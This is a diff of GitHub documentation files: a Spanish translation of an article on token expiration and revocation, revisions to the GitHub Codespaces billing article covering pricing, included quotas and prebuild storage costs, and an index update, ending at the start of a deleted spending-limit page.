- Si tiene 1000 o más miembros, en breve recibirás un correo electrónico con un vínculo para descargar el informe.
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
title: Token expiration and revocation
|
||||
intro: 'Your tokens can expire and can also be revoked by you, applications you have authorized, and {% data variables.product.product_name %} itself.'
|
||||
title: Vencimiento y revocación de tokens
|
||||
intro: 'Tus tokens pueden vencer y también los puedes revocar tú, las aplicaciones que hayas autorizado y el mismo {% data variables.product.product_name %}.'
|
||||
versions:
|
||||
fpt: '*'
|
||||
ghes: '*'
|
||||
@@ -12,51 +12,56 @@ topics:
|
||||
shortTitle: Token expiration
|
||||
redirect_from:
|
||||
- /github/authenticating-to-github/keeping-your-account-and-data-secure/token-expiration-and-revocation
|
||||
ms.openlocfilehash: 00ccfc3117401bfa9464da9599067fe1d2f514dd
|
||||
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 10/25/2022
|
||||
ms.locfileid: '148107001'
|
||||
---
|
||||
Cuando un token ha expirado o se ha revocado, ya no se puede usar para autenticar solicitudes de Git y de API. No es posible restablecer un token revocado o vencido, ya seas tú o la aplicación necesitarán crear un token nuevo.
|
||||
|
||||
When a token has expired or has been revoked, it can no longer be used to authenticate Git and API requests. It is not possible to restore an expired or revoked token, you or the application will need to create a new token.
|
||||
|
||||
This article explains the possible reasons your {% data variables.product.product_name %} token might be revoked or expire.
|
||||
Este artículo te explica las posibles razones por las cuales tu token de {% data variables.product.product_name %} podría revocarse o vencer.
|
||||
|
||||
{% note %}
|
||||
|
||||
**Note:** When a {% data variables.product.pat_generic %} or OAuth token expires or is revoked, you may see an `oauth_authorization.destroy` action in your security log. For more information, see "[Reviewing your security log](/github/authenticating-to-github/keeping-your-account-and-data-secure/reviewing-your-security-log)."
|
||||
**Nota:** Cuando un {% data variables.product.pat_generic %} o de OAuth expira o se revoca, es posible que veas una acción `oauth_authorization.destroy` en el registro de seguridad. Para más información, vea "[Revisión del registro de seguridad](/github/authenticating-to-github/keeping-your-account-and-data-secure/reviewing-your-security-log)".
|
||||
|
||||
{% endnote %}
|
||||
|
||||
## Token revoked after reaching its expiration date
|
||||
## El token se revocó después de llegar a su fecha de vencimiento
|
||||
|
||||
When you create a {% data variables.product.pat_generic %}, we recommend that you set an expiration for your token. Upon reaching your token's expiration date, the token is automatically revoked. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token)."
|
||||
Cuando creas un {% data variables.product.pat_generic %}, te recomendamos que configures una fecha de vencimiento para este. Al alcanzar la fecha de vencimiento de tu token, este se revocará automáticamente. Para obtener más información, consulta "[Creación de una {% data variables.product.pat_generic %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token)".
|
||||
|
||||
{% ifversion fpt or ghec %}
|
||||
## Token revoked when pushed to a public repository or public gist
|
||||
## El token se revocó cuando se subió a un repositorio o gist público
|
||||
|
||||
If a valid OAuth token, {% data variables.product.prodname_github_app %} token, or {% data variables.product.pat_generic %} is pushed to a public repository or public gist, the token will be automatically revoked.
|
||||
Si un token de OAuth, un token de {% data variables.product.prodname_github_app %} o un {% data variables.product.pat_generic %} válido se sube a un repositorio o gist público, este se revocará automáticamente.
|
||||
|
||||
{% endif %}
|
||||
|
||||
{% ifversion fpt or ghec %}
|
||||
## Token expired due to lack of use
|
||||
## El token venció debido a la falta de uso
|
||||
|
||||
{% data variables.product.product_name %} will automatically revoke an OAuth token or {% data variables.product.pat_generic %} when the token hasn't been used in one year.
|
||||
{% data variables.product.product_name %} revocará el token de OAuth o el {% data variables.product.pat_generic %} automáticamente cuando no se haya utilizado en un año.
|
||||
{% endif %}
|
||||
|
||||
## Token revoked by the user
|
||||
## El usuario revocó el token
|
||||
|
||||
You can revoke your authorization of a {% data variables.product.prodname_github_app %} or {% data variables.product.prodname_oauth_app %} from your account settings which will revoke any tokens associated with the app. For more information, see "[Reviewing your authorized integrations](/github/authenticating-to-github/keeping-your-account-and-data-secure/reviewing-your-authorized-integrations)" and "[Reviewing your authorized applications (OAuth)](/github/authenticating-to-github/keeping-your-account-and-data-secure/reviewing-your-authorized-applications-oauth)."
|
||||
Puedes revocar tu autorización de una {% data variables.product.prodname_github_app %} o {% data variables.product.prodname_oauth_app %} desde tus ajustes de cuenta, lo cual revocará cualquier token asociado con la app. Para más información, vea "[Revisión de las integraciones autorizadas](/github/authenticating-to-github/keeping-your-account-and-data-secure/reviewing-your-authorized-integrations)" y "[Revisión de las aplicaciones autorizadas (OAuth)](/github/authenticating-to-github/keeping-your-account-and-data-secure/reviewing-your-authorized-applications-oauth)".
|
||||
|
||||
Once an authorization is revoked, any tokens associated with the authorization will be revoked as well. To re-authorize an application, follow the instructions from the third-party application or website to connect your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} again.
|
||||
Una vez que se revoca una autorización, cualquier token asociado con la autorización también se revocará. Para volver a autorizar una aplicación, sigue las instrucciones de la aplicación de terceros o sitio web para conectarte nuevamente a tu cuenta de {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}.
|
||||
|
||||
## Token revoked by the {% data variables.product.prodname_oauth_app %}
|
||||
## La {% data variables.product.prodname_oauth_app %} revocó el token
|
||||
|
||||
The owner of an {% data variables.product.prodname_oauth_app %} can revoke an account's authorization of their app, this will also revoke any tokens associated with the authorization. For more information about revoking authorizations of your OAuth app, see "[Delete an app authorization](/rest/reference/apps#delete-an-app-authorization)."
|
||||
El propietario de una {% data variables.product.prodname_oauth_app %} puede revocar una autorización de su app en una cuenta, esto también revocará cualquier token asociado con esa autorización. Para más información sobre cómo revocar las autorizaciones de la aplicación de OAuth, vea "[Eliminación de una autorización de aplicación](/rest/reference/apps#delete-an-app-authorization)".
|
||||
|
||||
{% data variables.product.prodname_oauth_app %} owners can also revoke individual tokens associated with an authorization. For more information about revoking individual tokens for your OAuth app, see "[Delete an app token](/rest/apps/oauth-applications#delete-an-app-token)".
|
||||
Los propietarios de {% data variables.product.prodname_oauth_app %} también pueden revocar tokens individuales asociados a una autorización. Para obtener más información sobre cómo revocar tokens individuales para la aplicación de OAuth, consulta "[Eliminar un token de aplicación](/rest/apps/oauth-applications#delete-an-app-token)".
|
||||
|
||||
## Token revoked due to excess of tokens for an {% data variables.product.prodname_oauth_app %} with the same scope
|
||||
## El token se revocó debido a un exceso de tokens para una {% data variables.product.prodname_oauth_app %} con el mismo alcance
|
||||
|
||||
{% data reusables.apps.oauth-token-limit %}
|
||||
|
||||
## User token revoked due to {% data variables.product.prodname_github_app %} configuration
|
||||
## El token de usuario se revocó debido a la configuración de la {% data variables.product.prodname_github_app %}
|
||||
|
||||
User-to-server tokens created by a {% data variables.product.prodname_github_app %} will expire after eight hours by default. Owners of {% data variables.product.prodname_github_apps %} can configure their apps so that user-to-server tokens do not expire. For more information about changing how your {% data variables.product.prodname_dotcom %} App's user-to-server tokens behave, see "[Activating optional features for apps](/developers/apps/getting-started-with-apps/activating-optional-features-for-apps)."
|
||||
Los tokens de usuario a servidor que creó una {% data variables.product.prodname_github_app %} vencerán después de ocho horas, predeterminadamente. Los propietarios de las {% data variables.product.prodname_github_apps %} pueden configurar sus apps para que los tokens de usuario a servidor no venzan. Para más información sobre cómo cambiar el comportamiento de los tokens de usuario a servidor de la aplicación {% data variables.product.prodname_dotcom %}, vea "[Activación de características opcionales para aplicaciones](/developers/apps/getting-started-with-apps/activating-optional-features-for-apps)".
|
||||
|
||||
@@ -1,14 +1,12 @@
|
||||
---
|
||||
title: About billing for GitHub Codespaces
|
||||
shortTitle: About billing
|
||||
intro: 'View pricing and see how to manage {% data variables.product.prodname_github_codespaces %} billing for your organization.'
|
||||
permissions: 'To manage billing for {% data variables.product.prodname_github_codespaces %} for an organization, you must be an organization owner or a billing manager.'
|
||||
intro: 'Learn about the costs for using {% data variables.product.prodname_github_codespaces %}, and the monthly usage quotas included with {% data variables.product.prodname_dotcom %} personal accounts.'
|
||||
miniTocMaxHeadingLevel: 3
|
||||
versions:
|
||||
fpt: '*'
|
||||
ghec: '*'
|
||||
type: overview
|
||||
product: '{% data reusables.gated-features.codespaces %}'
|
||||
topics:
|
||||
- Codespaces
|
||||
- Billing
|
||||
@@ -23,20 +21,59 @@ redirect_from:
|
||||
|
||||
## {% data variables.product.prodname_github_codespaces %} pricing
|
||||
|
||||
Charges are incurred for the use of {% data variables.product.prodname_github_codespaces %} for repositories owned by organization and enterprise accounts on {% data variables.product.prodname_team %} and {% data variables.product.prodname_enterprise %}. These accounts do not include any free minutes or storage for {% data variables.product.prodname_github_codespaces %}. Personal accounts are not currently billed for {% data variables.product.prodname_github_codespaces %} usage.
|
||||
{% data reusables.codespaces.codespaces-free-for-personal-intro %}
|
||||
|
||||
A {% data variables.product.prodname_github_codespaces %} instance (a "codespace") incurs charges for compute time, while it is active, and for the amount of storage it uses on disk.
|
||||
Charges are billed to an organization or enterprise when all of the following are true:
|
||||
|
||||
{% data variables.product.prodname_github_codespaces %} usage is billed according to the units of measure in the following table:
|
||||
- The repository from which a codespace is started (or the parent repository, in the case of a forked repository) is owned by an organization.
|
||||
- The organization is configured to be billed for codespaces created from the repository or forks of the repository.
|
||||
- The user creating the codespace belongs to the organization, or is an outside collaborator affiliated with the organization, and the organization has chosen to pay for this user's use of organization-owned codespaces.
|
||||
|
||||
| Component | Machine type | Unit of measure | Price |
|
||||
| ------------------- | ------------ | --------------- | ----- |
|
||||
| Codespaces compute | 2 core | 1 hour | $0.18 |
|
||||
| | 4 core | 1 hour | $0.36 |
|
||||
| | 8 core | 1 hour | $0.72 |
|
||||
| | 16 core | 1 hour | $1.44 |
|
||||
| | 32 core | 1 hour | $2.88 |
|
||||
| Codespaces storage | Storage | 1 GB-month<sup>*</sup> | $0.07 |
|
||||
Otherwise use of {% data variables.product.prodname_github_codespaces %} applies to the personal account of the person who created the codespace, and either consumes some of the monthly included usage for their personal account, or their account is billed according to their usage in excess of their included quotas.
|
||||
|
||||
For information about how to configure an organization to be billed for codespace usage, see "[Enabling {% data variables.product.prodname_github_codespaces %} for your organization](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization)." The Free, Team, and Enterprise plans for organization and enterprise accounts do not include any free use of {% data variables.product.prodname_github_codespaces %}.
|
||||
|
||||
### Monthly included storage and core hours for personal accounts
|
||||
|
||||
The following storage and core hours of usage are included, free of charge, for personal accounts:
|
||||
|
||||
| Account plan | Storage per month | Core hours per month |
|
||||
| ------------ | ----------------- | -------------------- |
|
||||
| {% data variables.product.prodname_dotcom %} Free for personal accounts | 15 GB | 120 |
|
||||
| {% data variables.product.prodname_dotcom %} Pro | 20 GB | 180 |
|
||||
|
||||
{% note %}
|
||||
|
||||
**Note**: A "core hour" is a measure used for included compute usage. To calculate core hours, multiply the number of hours for which a codespace has been active by the multiplier in the pricing table below. For the basic machine types, the multiplier is the number of processor cores in the machine that hosts the codespace. For example, if you use a 2-core machine for your codespace and it's active for an hour, you have used 2 core hours. If you use an 8-core machine for an hour, you have used 8 core hours. If you use an 8-core machine for two hours, you have used 16 core hours.
|
||||
|
||||
{% endnote %}
|
||||
|
||||
You will be notified by email when you have used 75%, 90%, and 100% of your included quotas. Notifications are also displayed in a "toast" message within {% data variables.product.prodname_vscode_shortname %} and the {% data variables.product.prodname_vscode_shortname %} web client. You can turn off email notifications if required. For more information, see "[Managing the spending limit for GitHub Codespaces](/billing/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces#managing-usage-and-spending-limit-email-notifications)."
|
||||
|
||||
When a personal account has used all of either the included storage or compute usage (whichever is reached first), and has no spending limit configured, use of {% data variables.product.prodname_github_codespaces %} will be blocked. You must set up a payment method and a spending limit to continue using {% data variables.product.prodname_github_codespaces %} during the current billing month. At the beginning of the next monthly billing cycle the included usage is reset. Storage will not be billed while use of {% data variables.product.prodname_github_codespaces %} is blocked.
|
||||
|
||||
You can view details of your usage for the current month at any time. For more information, see "[Viewing your {% data variables.product.prodname_github_codespaces %} usage](/billing/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage)."
|
||||
|
||||
If you are blocked from resuming a codespace and you want to continue to work on changes you have made in your codespace, you can do any of the following:
|
||||
|
||||
- Add a payment method and a spending limit greater than $0 USD.
|
||||
- Export the changes from the codespace to a branch. For more information, see "[Exporting changes to a branch](/codespaces/troubleshooting/exporting-changes-to-a-branch)."
|
||||
- Wait for your monthly included usage to reset at the start of the next monthly billing cycle.
|
||||
|
||||
If you have used all of either your included storage usage or your included compute usage, and you have set up a payment method and a spending limit, any further use of codespaces owned by your personal account will incur charges for whichever type of usage has no remaining included quota. You will not be charged for the other type of usage until you have also used all of its included quota.
|
||||
|
||||
### Pricing for paid usage
|
||||
|
||||
A {% data variables.product.prodname_github_codespaces %} instance (a "codespace") incurs charges for compute time, while it is active, and for the amount of disk space the codespace occupies, while it exists. The compute cost is proportional to the number of processor cores in the machine type you choose for your codespace, as shown in the table below. For example, the compute cost of using a codespace for an hour on a 16-core machine is eight times greater than a 2-core machine.
|
||||
|
||||
| Component | Machine type | Unit of measure | Included usage multiplier | Price |
|
||||
| ------------------- | ------------ | --------------- | ------------------------- | ----- |
|
||||
| Codespaces compute | 2 core | 1 hour | 2 | $0.18 |
|
||||
| | 4 core | 1 hour | 4 | $0.36 |
|
||||
| | 8 core | 1 hour | 8 | $0.72 |
|
||||
| | 16 core | 1 hour | 16 | $1.44 |
|
||||
| | 32 core | 1 hour | 32 | $2.88 |
|
||||
| Codespaces storage | Storage | 1 GB-month<sup>*</sup> | N/A | $0.07 |
|
||||
|
||||
<sup>*</sup> See "[Billing for storage usage](#billing-for-storage-usage)" below for details of the GB-month unit of measure.
|
||||
|
||||
@@ -46,29 +83,38 @@ If you enable prebuilding of codespaces this will incur additional charges. For
|
||||
|
||||
{% data variables.product.prodname_github_codespaces %} is billed in US dollars (USD) according to the amount of compute time and storage space your codespaces use. {% data reusables.codespaces.codespaces-monthly-billing %}
|
||||
|
||||
Your {% data variables.product.prodname_github_codespaces %} usage shares your organization or enterprise account's existing payment method, and receipt. For more information, see "[Viewing your subscriptions and billing date](/articles/viewing-your-subscriptions-and-billing-date)."
|
||||
Billing for {% data variables.product.prodname_github_codespaces %} shares your account's existing payment method, and receipt. For more information, see "[Viewing your subscriptions and billing date](/articles/viewing-your-subscriptions-and-billing-date)."
|
||||
|
||||
{% ifversion ghec %}
|
||||
If you purchased {% data variables.product.prodname_enterprise %} through a Microsoft Enterprise Agreement, you can connect your Azure Subscription ID to your enterprise account to enable and pay for {% data variables.product.prodname_github_codespaces %} usage. For more information, see "[Connecting an Azure subscription to your enterprise](/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise)."
|
||||
{% endif %}
|
||||
|
||||
### Billing for compute usage
|
||||
The compute usage of a codespace is the number of minutes for which that codespace is active. Total compute usage is calculated by summing the number of minutes used by all codespaces that are billable to the organization or enterprise. These totals are reported to the billing service every hour, and are billed monthly.
|
||||
The compute usage of a codespace is the length of time for which that codespace is active multiplied by the multiplier in the pricing table for the machine type of the codespace. Total compute usage is calculated by summing the time used by all codespaces billable to a particular account. These totals are reported to the billing service every hour, and are billed monthly.
|
||||
|
||||
As an example, if a codespace is active for 1 hour and 15 minutes, then the compute cost will be the hourly cost of the codespace, as determined by its machine type, multiplied by 1.25.
|
||||
|
||||
You can restrict compute usage by stopping your codespaces. For information, see "[Stopping and starting a codespace](/codespaces/developing-in-codespaces/stopping-and-starting-a-codespace)." Codespaces are stopped automatically after a configurable period of inactivity. The timeout period can be configured by the user, or at the organization level. For more information, see "[Setting your timeout period for {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-timeout-period-for-github-codespaces)" and "[Restricting the idle timeout period](/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period)."
|
||||
You can control compute usage by stopping your codespaces. For information, see "[Stopping and starting a codespace](/codespaces/developing-in-codespaces/stopping-and-starting-a-codespace)." Codespaces are stopped automatically after a configurable period of inactivity. The timeout period can be configured by the user, or at the organization level. For more information, see "[Setting your timeout period for {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-timeout-period-for-github-codespaces)" and "[Restricting the idle timeout period](/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period)."
|
||||
|
||||
### Billing for storage usage
|
||||
For {% data variables.product.prodname_github_codespaces %} billing purposes, storage compromises the disk space used by all of the codespaces and prebuilds in your account. This includes any files used by the codespaces, such as cloned repositories, configuration files, and extensions, among others. Storage is billed for all of your existing codespaces, regardless of whether they are active or stopped. The storage billing for a codespace ends when it is deleted.
|
||||
For {% data variables.product.prodname_github_codespaces %} billing purposes, storage comprises the disk space used by all of the codespaces and prebuilds in your account. This includes any files you use in a codespace, such as cloned repositories, configuration files, data loaded to the codespace (for example as input or output of the software running in the repository), and extensions, among others. Storage is billed for all of your existing codespaces, regardless of whether they are active or inactive with the exception of blocked usage due to exhausted included usage quota or reaching your spending limit. The storage billing for a codespace ends when it is deleted.
|
||||
|
||||
Codespace storage is reported in GB-months. Your billing month runs from a fixed day in one month until the same day in the next month. In most cases the day of the month is determined by the day you started on your current {% data variables.product.prodname_dotcom %} plan. Your GB-month storage, is calculated as follows. Once every hour, the storage used by all of your currently active and stopped codespaces is assessed. This figure is then divided by the number of hours in the current billing month: `total storage size / hours this month`. The result is added to the running total for codespace storage for the month.
|
||||
{% note %}
|
||||
|
||||
For example, if you have one codespace that uses 100 GB of storage and has existed for one hour you will have used `100 / (24 * 30) = 0.1388` GB-months of storage in a 30-day month. If your use of GitHub Codespaces during a 30-day month consists of two 100 GB codespaces that both existed for three full days then there will be `24 * 3` hourly reports for the storage of these codespaces, giving a total of: `(24 * 3) * 200 / (24 * 30) = 20` GB-months.
|
||||
**Notes**:
|
||||
|
||||
- When you use the default dev container configuration (see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#using-the-default-dev-container-configuration)"), we do not count the default container as used storage. When you create a custom container using a dev container configuration with a different base image we do count the container as used storage.
|
||||
- When you rebuild your container from the default image we do not count the base container as used storage. For other base images all of the storage consumed by the codespace, including the base container, is counted as used storage.
|
||||
|
||||
{% endnote %}
|
||||
|
||||
Codespace storage is reported in GB-months. Your billing month runs from a fixed day in one month until the same day in the next month. In most cases the day of the month is determined by the day you started on your current {% data variables.product.prodname_dotcom %} plan. Your GB-month storage is calculated as follows. Once every hour, the storage used by all of your currently active and stopped codespaces is assessed. This figure is then divided by the number of hours in the current billing month: `total storage size / hours this month`. The result is added to the running total for codespace storage for the month.
|
||||
|
||||
For example, if you have one codespace that uses 100 GB of storage and has existed for one hour you will have used `100 / (24 * 30) = 0.1388` GB-months of storage in a 30-day month. If your use of {% data variables.product.prodname_github_codespaces %} during a 30-day month consists of two 100 GB codespaces that both existed for three full days then there will be `24 * 3` hourly reports for the storage of these codespaces, giving a total of `(24 * 3) * 200 / (24 * 30) = 20` GB-months.
|
||||
|
||||
For each hourly report, the storage usage for the previous hour is calculated in seconds. As a result, you won't be charged for a full hour of storage if a codespace did not exist for the full 60 minutes. At the end of the month, {% data variables.product.prodname_dotcom %} rounds your storage to the nearest MB.
|
||||
|
||||
As an organization owner, you can:
|
||||
Organization owners can:
|
||||
- List the currently active and stopped codespaces for your organization. For more information, see "[Listing the codespaces in your organization](/codespaces/managing-codespaces-for-your-organization/listing-the-codespaces-in-your-organization)." In addition to the cost of these codespaces, the cost of {% data variables.product.prodname_github_codespaces %} for the current month may include costs for codespaces that existed earlier in the current month but have since been deleted.
|
||||
- See the total {% data variables.product.prodname_github_codespaces %} compute and storage usage for your organization for the current month to date. For more information, see "[Viewing your {% data variables.product.prodname_github_codespaces %} usage](/billing/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage)."
|
||||
- Configure your organization settings to manage the cost of {% data variables.product.prodname_github_codespaces %}. For more information, see "[Managing the cost of {% data variables.product.prodname_github_codespaces %} in your organization](/codespaces/managing-codespaces-for-your-organization/managing-the-cost-of-github-codespaces-in-your-organization)."
|
||||
@@ -81,28 +127,32 @@ To estimate the costs for metered services, you can use the {% data variables.pr
|
||||
|
||||
#### {% data variables.product.prodname_actions %} costs for prebuilds
|
||||
|
||||
Prebuilds are created and updated by running a {% data variables.product.prodname_actions %} workflow on a {% data variables.product.prodname_dotcom %}-hosted runner. By default, prebuilds are updated every time you modify the prebuild configuration, or push changes to a prebuild-enabled branch. As with other workflows, while prebuild workflows are running they will either consume some of the Actions minutes included with your account, if you have any, or they will incur charges for Actions minutes. For more information about pricing for Actions minutes, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)." There is no associated {% data variables.product.prodname_codespaces %} compute cost for creating or updating prebuilds.
|
||||
Prebuilds are created and updated by running a {% data variables.product.prodname_actions %} workflow on a {% data variables.product.prodname_dotcom %}-hosted runner. You can configure how you want prebuild updates to be automatically triggered. For information, see "[Configuring prebuilds](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-a-prebuild)."
|
||||
|
||||
To reduce consumption of Actions minutes, you can set a prebuild to be updated only when you make a change to your dev container configuration files, or only on a custom schedule. You can also manage your storage usage by adjusting the number of previous versions of each prebuild that are retained. For more information, see "[Configuring prebuilds](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-a-prebuild)."
|
||||
As with other workflows, while prebuild workflows are running they consume {% data variables.product.prodname_actions %} minutes included with your account, if you have any, or they incur charges for {% data variables.product.prodname_actions %} minutes. For more information about pricing for {% data variables.product.prodname_actions %} minutes, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)." There is no associated {% data variables.product.prodname_codespaces %} compute cost for creating or updating prebuilds.
|
||||
|
||||
If you are an organization or enterprise owner, you can track usage of prebuild workflows and storage by downloading a usage report for your organization or enterprise. You can identify workflow runs for prebuilds by filtering the CSV output to only include the workflow called "Create {% data variables.product.prodname_github_codespaces %} Prebuilds." For more information, see "[Viewing your {% data variables.product.prodname_actions %} usage](/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage#viewing-github-actions-usage-for-your-organization)."
|
||||
You can track usage of prebuild workflows and storage by downloading a usage report for your account. For more information, see "[Viewing your {% data variables.product.prodname_github_codespaces %} usage](/billing/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage)."
|
||||
|
||||
#### Storage costs for prebuilds
|
||||
|
||||
In addition to {% data variables.product.prodname_actions %} minutes, you will also be billed for the storage of prebuilds associated with each prebuild configuration for a given repository and region. Storage of prebuilds is billed at the same rate as storage of codespaces.
|
||||
In addition to {% data variables.product.prodname_actions %} minutes, you will also be billed for the storage of prebuilds associated with each prebuild configuration, for a given repository and region. Storage of prebuilds is billed at the same rate as storage of codespaces.
|
||||
|
||||
The storage cost for a prebuild in a single region will be similar to the storage cost that will be incurred for storing a single codespace created from that prebuild. The storage cost for the generated codespace may be more than the cost for the prebuild if, for example, the `updateContentCommand` and `postCreateCommand` commands are used during codespace creation to download more files to the dev container.
|
||||
|
||||
The total storage costs associated with a prebuild will depend on:
|
||||
The total storage costs associated with a prebuild configuration will depend on the following factors.
|
||||
|
||||
* The price of storage per GB. See the table above.
|
||||
* The size of the generated prebuild in GB.
|
||||
* The number of regions in which the prebuild is available (because a copy of the prebuild is stored in each region).
|
||||
* The number of older versions of the prebuild that are retained.
|
||||
- The price of storage per GB. See the table above.
|
||||
- The size of the generated prebuild in GB.
|
||||
- The number of regions in which the prebuild is available (because a copy of the prebuild is stored in each region).
|
||||
- The number of older versions of the prebuild that are retained.
|
||||
|
||||
The storage cost for a prebuild is therefore calculated as: `price per GB * size (GB) * regions * versions`.
|
||||
The storage cost for the prebuilds generated by a prebuild configuration is therefore calculated as: `price per GB * size (GB) * regions * versions`.
|
||||
|
||||
To limit the storage costs associated with prebuilds, you can choose to create prebuilds only in selected regions, and you can specify the number of older versions of prebuilds that will be retained. For more information, see "[Configuring prebuilds](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-a-prebuild)."
|
||||
#### Controlling the cost of prebuilds
|
||||
|
||||
To reduce consumption of Actions minutes, you can set a prebuild to be updated only when you make a change to your dev container configuration files, or only on a custom schedule. You can also manage your storage usage by adjusting the number of previous versions of each prebuild that are retained. For more information, see "[Configuring prebuilds](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-prebuilds)."
|
||||
|
||||
To limit the storage costs associated with prebuilds, you can choose to create prebuilds only in selected regions, and you can specify the number of older versions of prebuilds that will be retained. For more information, see "[Configuring prebuilds](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-prebuilds)."
|
||||
|
||||
{% note %}
|
||||
|
||||
@@ -116,29 +166,31 @@ Use of codespaces created using prebuilds is charged at the same rate as regular
|
||||
|
||||
## Setting a spending limit
|
||||
|
||||
{% data reusables.codespaces.codespaces-spending-limit-requirement %}
|
||||
{% data reusables.codespaces.codespaces-spending-limit-requirement %}
|
||||
|
||||
For information on managing and changing your account's spending limit, see "[Managing your spending limit for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-github-codespaces)."
|
||||
For information on managing and changing your account's spending limit, see "[Managing your spending limit for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces)."
|
||||
|
||||
{% data reusables.codespaces.exporting-changes %}
|
||||
|
||||
## Limiting the choice of machine types
|
||||
## Limiting the machine types for organization-owned codespaces
|
||||
|
||||
By default the machine type with the lowest valid resources is used when a codespace is created. However, users may be able to choose a machine type with more resources. They can do this either when they create a codespace, or they can change the machine type of an existing codespace. For more information, see "[Creating a codespace"](/codespaces/developing-in-codespaces/creating-a-codespace#creating-a-codespace)" and "[Changing the machine type for your codespace](/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace)."
|
||||
By default the machine type with the lowest valid resources is used when a codespace is created. However, users may be able to choose a machine type with more resources. They can do this either when they create a codespace, or they can change the machine type of an existing codespace. For more information, see "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository)" and "[Changing the machine type for your codespace](/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace)."
|
||||
|
||||
If a machine type that has more resources is chosen, this will affect the per-minute charge for that codespace, as shown above.
|
||||
If a machine type that has more resources is chosen, this will affect the per-hour charge for that codespace, as shown above.
|
||||
|
||||
Organization owners can create a policy to restrict the machine types that are available to users. For more information, see "[Restricting access to machine types](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)."
|
||||
Organization owners can create a policy to limit the choice of machine types available to users for codespaces that are billed to an organization or enterprise account. For more information, see "[Restricting access to machine types](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)."
|
||||
|
||||
## How billing is handled for forked repositories
|
||||
|
||||
To incur charges to an organization account (or to an enterprise account, if the organization belongs to an enterprise), the user must be a member or collaborator of that organization, otherwise they cannot create a codespace for which the organization, or its parent enterprise, would be billed.
|
||||
Usage of codespaces created from a forked repository will be billed to your personal account unless the upstream (or parent) repository is in an organization that has allowed you - as a member, or outside collaborator, of the organization - to use codespaces at the organization's expense.
|
||||
|
||||
For example, consider a member, or outside collaborator, of an organization that has allowed billing for codespaces for that user. If the user has permission to fork an organization-owned private repository, they can subsequently create and use a codespace for the new repository at the organization's expense. This is because the organization is the owner of the parent repository. Note that the organization owner can remove the user's access to the private repository, the forked repository, and therefore also the codespace. The organization owner can also delete the parent repository which will also delete the forked repository. For more information, see "[Managing the forking policy for your repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository)."
|
||||
|
||||
{% data reusables.codespaces.codespaces-disabling-org-billing %}
|
||||
|
||||
For example, a user in an organization can fork a repository within that organization, and can subsequently use a codespace billed to the organization. This is because the organization is the owner of the parent repository, and can remove the user's access, the forked repository, and the codespace.
|
||||
|
||||
## How billing is handled when a repository is transferred to another organization
|
||||
|
||||
Usage is calculated every hour. An organization pays for usage of codespaces created from any repository owned by the organization, where the organization settings permit the organization to be billed. For more information, see "[Enabling GitHub Codespaces for your organization](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization#choose-who-can-create-codespaces-that-are-billed-to-your-organization)." When a repository is transferred out of your organization, ownership and billing responsibility for any codespaces associated with that repository will change accordingly.
|
||||
Usage is calculated every hour. An organization pays for usage of codespaces created from any repository owned by the organization, where the organization settings permit the organization to be billed. For more information, see "[Enabling {% data variables.product.prodname_github_codespaces %} for your organization](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization#choose-who-can-create-codespaces-that-are-billed-to-your-organization)." When a repository is transferred out of your organization, ownership and billing responsibility for any codespaces associated with that repository will change accordingly.
|
||||
|
||||
## What happens when users are removed
|
||||
|
||||
|
||||
@@ -5,10 +5,9 @@ intro: 'You can view your usage and set a spending limit for {% data variables.p
|
||||
versions:
|
||||
fpt: '*'
|
||||
ghec: '*'
|
||||
product: '{% data reusables.gated-features.codespaces %}'
|
||||
children:
|
||||
- /about-billing-for-github-codespaces
|
||||
- /viewing-your-github-codespaces-usage
|
||||
- /managing-spending-limits-for-github-codespaces
|
||||
- /managing-the-spending-limit-for-github-codespaces
|
||||
---
|
||||
|
||||
|
||||
@@ -1,72 +0,0 @@
|
||||
---
|
||||
title: Managing spending limits for GitHub Codespaces
|
||||
intro: 'You can set a spending limit for {% data variables.product.prodname_github_codespaces %} usage.'
|
